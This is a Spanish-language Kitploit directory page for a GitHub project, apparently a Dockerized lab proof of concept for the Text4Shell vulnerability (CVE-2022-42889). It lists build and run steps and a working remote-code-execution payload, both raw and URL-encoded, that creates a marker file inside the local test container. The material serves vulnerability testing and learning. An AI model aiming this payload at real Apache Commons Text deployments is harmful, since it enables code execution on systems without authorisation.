Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
text4shell-docker — POC dockerizada para CVE-2022-42889 Text4Shell | Kitploit
Herramientas/GitHubGitHub/aaronm-sysdig/text4shell-docker
Seguridad de ContenedoresAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónDesarrollo de Payloads
GitHubaaronm-sysdig/text4shell-docker

text4shell-docker

POC dockerizada para CVE-2022-42889 Text4Shell

Ver Repositorio
21hace 2 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Instalar maven - maven-linux


  1. Instalar Maven para crear el fat jar
root@kitploit:~
mvn clean install
  1. Construir la imagen Docker
root@kitploit:~
docker build --tag=text4shell .
  1. Ejecutar el contenedor Docker
root@kitploit:~
docker run -p 80:8080 text4shell
  1. Probar la aplicación
root@kitploit:~
http://localhost/text4shell/attack?search=<anything>
  1. El ataque se puede realizar pasando una cadena “${prefix:name}” donde el prefijo es la búsqueda mencionada anteriormente:
root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}

http://localhost/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D

  1. También puedes probar usando los prefijos dns o url.

  2. Obtener el ID del contenedor

root@kitploit:~
docker container ls
  1. Acceder a la aplicación
root@kitploit:~
docker exec -it <container_id> bash
  1. Para verificar si el RCE anterior fue exitoso (Deberías ver un archivo llamado foo creado en el directorio /tmp):
root@kitploit:~
ls /tmp/
  1. Detener el contenedor
root@kitploit:~
docker container stop <container_id>
Descargar herramienta